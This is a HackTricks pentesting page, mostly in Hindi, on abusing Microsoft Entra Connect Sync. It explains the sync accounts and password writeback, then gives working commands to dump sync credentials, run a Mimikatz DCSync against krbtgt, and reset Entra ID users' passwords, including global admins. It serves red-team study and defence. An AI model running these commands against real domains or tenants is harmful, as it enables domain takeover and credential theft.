Az - Connect Sync

Reading time: 12 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

From the docs: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) Microsoft Entra Connect का एक मुख्य घटक है। यह आपके on-premises परिवेश और Microsoft Entra ID के बीच identity data को synchronize करने से संबंधित सभी ऑपरेशनों का ध्यान रखता है।

Sync सेवा दो घटकों से मिलकर बनती है: on-premises वाला Microsoft Entra Connect Sync कंपोनेंट और Microsoft Entra ID में सर्विस साइड जिसे Microsoft Entra Connect Sync service कहा जाता है।

इसे उपयोग करने के लिए, आपके AD वातावरण के अंदर एक सर्वर पर Microsoft Entra Connect Sync agent इंस्टॉल करना आवश्यक है। यह agent AD साइड से synchronization का ध्यान रखेगा।

Connect Sync मूल रूप से AD से Entra ID में उपयोगकर्ताओं को synchronize करने का "पुराना" Azure तरीका है। नया अनुशंसित तरीका Entra Cloud Sync का उपयोग करना है:

Az - Cloud Sync

Principals Generated

  • खाता MSOL_<installationID> automatic रूप से on-prem AD में बनाया जाता है। यह खाता Directory Synchronization Accounts role दिया जाता है (देखें documentation) जिसका मतलब है कि इसे on-prem AD में replication (DCSync) permissions मिलती हैं।
  • इसका अर्थ है कि जो कोई भी इस खाते से समझौता करेगा वह on-premise domain को compromize कर सकेगा।
  • एक managed service account ADSyncMSA<id> on-prem AD में बनाया जाता है जिसमें किसी विशेष डिफ़ॉल्ट privileges नहीं होते।
  • Entra ID में Service Principal ConnectSyncProvisioning_ConnectSync_<id> एक certificate के साथ बनाया जाता है।

Synchronize Passwords

Password Hash Synchronization

यह घटक AD से Entra ID में पासवर्ड synchronize करने के लिए भी उपयोग किया जा सकता है ताकि उपयोगकर्ता अपने AD पासवर्ड का उपयोग Entra ID से कनेक्ट करने के लिए कर सकें। इसके लिए, Microsoft Entra Connect Sync agent में password hash synchronization की अनुमति देना आवश्यक है जो AD सर्वर पर इंस्टॉल किया गया है।

From the docs: Password hash synchronization hybrid identity को पूरा करने के लिए उपयोग की जाने वाली sign-in methods में से एक है। Azure AD Connect on-premises Active Directory instance से cloud-based Azure AD instance तक उपयोगकर्ता के पासवर्ड के hash, of the hash, को synchronize करता है।

मूल रूप से, सभी users और पासवर्ड hashes के hash का hash on-prem से Azure AD तक synchronize किए जाते हैं। हालांकि, clear-text passwords या मूल hashes Azure AD को भेजे नहीं जाते।

Hashes synchronization हर 2 minutes पर होता है। लेकिन, डिफ़ॉल्ट रूप से, password expiry और account expiry Azure AD में sync नहीं होते। इसलिए, यदि किसी उपयोगकर्ता का on-prem password expired है (बिना बदले) तो वह पुराने पासवर्ड का उपयोग करके Azure resources तक पहुँचना जारी रख सकता है।

जब कोई on-prem उपयोगकर्ता किसी Azure resource तक पहुँचने की कोशिश करता है, तो authentication Azure AD पर होता है

note

डिफ़ॉल्ट रूप से Domain Admins जैसे ज्ञात privileged groups के उपयोगकर्ता जिनका attribute adminCount to 1 है, सुरक्षा कारणों से Entra ID के साथ synchronize नहीं किए जाते। हालांकि, अन्य उपयोगकर्ता जो privileged groups का हिस्सा नहीं हैं या जिन्हें सीधे उच्च privileges असाइन किए गए हैं वे synchronized हो सकते हैं।

Password Writeback

यह configuration Entra ID से AD में passwords को synchronize करने की अनुमति देती है जब कोई उपयोगकर्ता Entra ID में अपना पासवर्ड बदलता है। ध्यान दें कि password writeback काम करने के लिए AD में automatic रूप से जनरेट हुआ MSOL_<id> user docs में बताए गए अधिक privileges को प्रदान करना आवश्यक है ताकि वह AD में किसी भी उपयोगकर्ता के पासवर्ड को modify कर सके।

यह विशेष रूप से महत्वपूर्ण है अगर Entra ID compromet हो जाए — आप AD को compromize करने के लिए "लगभग" किसी भी उपयोगकर्ता का पासवर्ड बदल सकेंगे।

Domain admins और कुछ privileged groups के अन्य उपयोगकर्ता replicate नहीं होते यदि समूह का adminCount attribute to 1 है। लेकिन अन्य उपयोगकर्ता जिनको AD के अंदर उच्च privileges सीधे असाइन किए गए हैं या जो किसी उन समूहों का हिस्सा नहीं हैं, उनके पासवर्ड बदले जा सकते हैं। उदाहरण के लिए:

  • सीधे high privileges असाइन किए गए users।
  • DNSAdmins group के users।
  • Group Policy Creator Owners group के users जिन्होंने GPOs बनाये और उन्हें OUs पर असाइन किया, वे अपने बनाए GPOs में परिवर्तन कर सकेंगे।
  • Cert Publishers Group के users जो Active Directory में certificates publish कर सकते हैं।
  • किसी भी अन्य group के users जिनके पास high privileges हैं और जिनके पास adminCount attribute to 1 नहीं है।

Pivoting AD --> Entra ID

Enumerating Connect Sync

Check for users:

bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

Connect Sync configuration के लिए जाँच करें (यदि कोई हो):

bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

Finding the passwords

MSOL_* उपयोगकर्ता (और यदि बनाया गया हो तो Sync\_\* उपयोगकर्ता) के पासवर्ड उन सर्वरों पर एक SQL server में संग्रहीत होते हैं जहाँ Entra ID Connect इंस्टॉल है। प्रशासक उन उच्च-प्राधिकृत उपयोगकर्ताओं के पासवर्ड clear-text में निकाल सकते हैं.
डेटाबेस स्थित है: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

तालिकाओं में से एक से कॉन्फ़िगरेशन निकाला जा सकता है, जिसमें से एक एन्क्रिप्टेड है:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

encrypted configuration DPAPI से एन्क्रिप्टेड है और इसमें on-prem AD में MSOL_* उपयोगकर्ता के पासवर्ड और AzureAD में Sync\_\* का पासवर्ड शामिल है। इसलिए, इन्हें समझौता करने पर AD और AzureAD में privesc संभव है।

इन क्रेडेंशियल्स के कैसे स्टोर और डिक्रिप्ट किए जाते हैं इसका पूरा अवलोकन इस टॉक में पाया जा सकता है.

MSOL_* का दुरुपयोग

bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

warning

पिछले हमलों में दूसरे पासवर्ड को समझौता करके Sync_* नाम के Entra ID उपयोगकर्ता से कनेक्ट कर के फिर Entra ID को समझौता किया गया था। हालांकि, यह उपयोगकर्ता अब मौजूद नहीं है।

दुरुपयोग ConnectSyncProvisioning_ConnectSync_

यह application बिना किसी Entra ID या Azure management roles नियुक्त किए बनाया गया है। हालांकि, इसके पास निम्नलिखित API permissions हैं:

  • Microsoft Entra AD Synchronization Service
  • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
  • PasswordWriteback.OffboardClient.All
  • PasswordWriteback.RefreshClient.All
  • PasswordWriteback.RegisterClientVersion.All

बताया गया है कि इस application's SP का उपयोग undocumented API का उपयोग करके अभी भी कुछ privileged actions करने के लिए किया जा सकता है, लेकिन मेरे जानकारी के अनुसार अभी तक कोई PoC नहीं मिला है।
किसी भी स्थिति में, यह संभव हो सकता है इसलिए यह जानना रोचक होगा कि इस service principal के रूप में लॉगिन करने के लिए certificate कैसे खोजें और इसे दुरुपयोग करने की कोशिश करें।

यह blog post जो Sync_* user से इस service principal में परिवर्तन के तुरंत बाद प्रकाशित हुआ, ने बताया कि certificate सर्वर के अंदर स्टोर था और उसे ढूँढना, उससे PoP (Proof of Possession) और graph token जनरेट करना संभव था, और इसके साथ service principal में नया certificate जोड़ना भी संभव था (क्योंकि एक service principal हमेशा अपने आप को नए certificates असाइन कर सकता है) और फिर इसे SP के रूप में persistence बनाए रखने के लिए उपयोग किया जा सकता था।

इन क्रियाओं को करने के लिए, निम्न tools प्रकाशित किए गए हैं: SharpECUtils.

इस प्रश्न के अनुसार, certificate खोजने के लिए, आपको उस process से tool चलाना होगा जिसने miiserver process का token चोरी कर लिया है

दुरुपयोग Sync_* [DEPRECATED]

warning

पहले Entra ID में Sync_* नाम का एक उपयोगकर्ता बनाया जाता था जिसे बहुत संवेदनशील permissions दिए गए थे, जिससे किसी भी उपयोगकर्ता का पासवर्ड बदलने या किसी service principal में नया credential जोड़ने जैसे privileged actions करना संभव था। हालांकि, Jan2025 से यह उपयोगकर्ता डिफ़ॉल्ट रूप से अब नहीं बनाया जाता क्योंकि अब Application/SP ConnectSyncProvisioning_ConnectSync_<id> का उपयोग किया जाता है। फिर भी, यह कुछ environments में मौजूद हो सकता है, इसलिए इसकी जाँच करना उपयोगी है।

Sync_* खाते को समझौता करने पर किसी भी उपयोगकर्ता (including Global Administrators) का पासवर्ड रीसेट करना संभव है।

bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

यह भी संभव है कि केवल cloud उपयोगकर्ताओं के पासवर्ड बदल दिए जाएं (भले ही यह अप्रत्याशित हो)

bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

इस user का पासवर्ड dump करना भी संभव है।

caution

एक और विकल्प होगा service principal को privileged permissions असाइन करना, जिसे Sync user के पास करने की permissions है, और फिर उस service principal तक access करना privesc के एक तरीके के रूप में।

Seamless SSO

Seamless SSO को PHS के साथ उपयोग करना संभव है, जो अन्य दुरुपयोगों के लिए संवेदनशील है। इसे जांचें:

Az - Seamless SSO

Pivoting Entra ID --> AD

  • यदि password writeback सक्षम है, तो आप Entra ID के साथ सिंक्रोनाइज़ किए गए AD में किसी भी user का पासवर्ड बदल सकते हैं।
  • यदि groups writeback सक्षम है, तो आप Entra ID में AD के साथ सिंक्रोनाइज़ किए गए privileged groups में उपयोगकर्ताओं को जोड़ सकते हैं।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें